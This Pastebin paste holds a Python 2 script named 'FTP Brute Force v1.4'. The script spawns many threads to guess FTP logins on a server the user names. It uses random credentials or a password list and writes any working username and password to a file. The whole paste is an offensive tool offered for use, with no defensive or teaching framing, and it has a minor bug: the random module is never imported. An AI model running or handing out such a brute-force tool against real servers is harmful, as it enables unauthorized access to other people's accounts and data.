Advertisement
Guest User

Untitled

a guest
Feb 11th, 2016
91
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 3.62 KB | None | 0 0
  1. import string
  2. import ftplib
  3. import os
  4. import threading
  5. import time
  6. from ftplib import FTP
  7. # Run with Python 2.7.5
  8. def clear():
  9. if os.name in ("nt", "dos", "ce"):
  10. os.system('title ........:::::FTP Brute Force v1.4:::::........ coded by ArchAngelz')
  11. os.system('color a')
  12. os.system('cls')
  13.  
  14. clear()
  15. print ' .......:::FTP Brute Force v1.4:::.......'
  16. time.sleep(0.7)
  17. clear()
  18. print ' .......:::FTP Brute Force v1.4:::.......'
  19. print ""
  20. print " Coded by ArchAngelz"
  21. time.sleep(1.3)
  22. clear()
  23.  
  24. Max_Win = 800
  25. Lock = threading.Lock()
  26. times = 0
  27.  
  28. class Bruterforce(threading.Thread):
  29.  
  30. def __init__(self, server, number):
  31. threading.Thread.__init__(self)
  32. self.srv = server
  33. self.num = number
  34.  
  35. def run(self):
  36. global Lock
  37. Lock.acquire()
  38. print 'Starting thread #{0}'.format(self.num)
  39. Lock.release()
  40. chars = string.ascii_uppercase + string.ascii_lowercase + string.digits
  41. while True:
  42. try:
  43. ftp_conn = FTP(self.srv)
  44. if username == '':
  45. count_chars = 1
  46. random_username = ''
  47. while count_chars <= random.randint(user_min, user_max):
  48. random_username = random_username + chars[random.randint(0, len(chars) - 1)]
  49. count_chars = count_chars + 1
  50. ftp_username = random_username
  51. else:
  52. ftp_username = username
  53.  
  54. if pass_list_mode == 0:
  55. count_chars = 1
  56. random_password = ''
  57. while count_chars <= random.randint(pass_min, pass_max):
  58. random_password = random_password + chars[random.randint(0, len(chars) - 1)]
  59. count_chars = count_chars + 1
  60. ftp_password = random_password
  61. elif pass_list_mode == 1:
  62. in_line = in_file.readline()
  63. if in_line == '':
  64. in_file.close()
  65. break
  66. in_line = in_line[:-1] # rnd = random.randrange(0, 2133190, 1)
  67. ftp_password = in_line
  68.  
  69. try:
  70. ftp_conn = FTP(self.srv)
  71. print '> table trying Username: ' + ftp_username + '\t\tPassword :\t' + ftp_password + ''
  72. except ftplib.all_errors:
  73. print '> Refused access to the server...\n'
  74. pass
  75. try:
  76. ftp_conn.login(ftp_username, ftp_password)
  77. except ftplib.all_errors:
  78. pass
  79. else:
  80. print 'I found the data!\nUsername: ' + ftp_username + '\nPassword: ' + ftp_password + '\nserver: ' + self.srv + '\n'
  81. null = raw_input("\nPress enter to exit and save the data collected : ")
  82. out_file = open("Output.txt", "w")
  83. out_file.write('Username: ' + ftp_username + '\nPassword: ' + ftp_password + '\nserver: ' + self.srv + '\n')
  84. out_file.close()
  85. break
  86. ftp_conn.close()
  87. del ftp_conn
  88. except:
  89. print '> Refused access to server ... \ n'
  90. pass
  91.  
  92. Lock.acquire()
  93. print 'Closing thread #{0}'.format(self.num)
  94. Lock.release()
  95.  
  96.  
  97. if __name__ == '__main__':
  98. ################################################################
  99. x = 1
  100. while x == 1:
  101. server = raw_input("> Enter the address of the former server. lol.com : ")
  102. try:
  103. print "> I'm connecting to the host. . ."
  104. ftp_conn = FTP(server)
  105. print "> access allowed"
  106. x = 0
  107. except ftplib.all_errors:
  108. print '>Connect to ' + server + ' failed ! \ n'
  109.  
  110.  
  111. num_threads = input("> Enter the number of threads : ")
  112. username = raw_input("\n> Enter the username or login , hit enter to randomize : ")
  113.  
  114. if username == '':
  115. user_min = input("\n> Enter the minimum length of usernames :")
  116. user_max = input("> Enter the maximum length of usernames : ")
  117.  
  118. pass_list_mode = input("\n> Enter ' 1 ' to use a password list or ' 0 ' to randomize : ")
  119.  
  120. if pass_list_mode == 0:
  121. pass_min = input("\n> Please enter the minimum password length: ")
  122. pass_max = input("> Please enter the maximum password length: ")
  123. elif pass_list_mode == 1:
  124. lista = raw_input("> Drag here password_list.txt file and hit enter: ")
  125. in_file = open(lista,"r")
  126.  
  127. ###################################################################
  128.  
  129. for i in xrange(num_threads):
  130. Bruterforce(server, i + 1).start()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement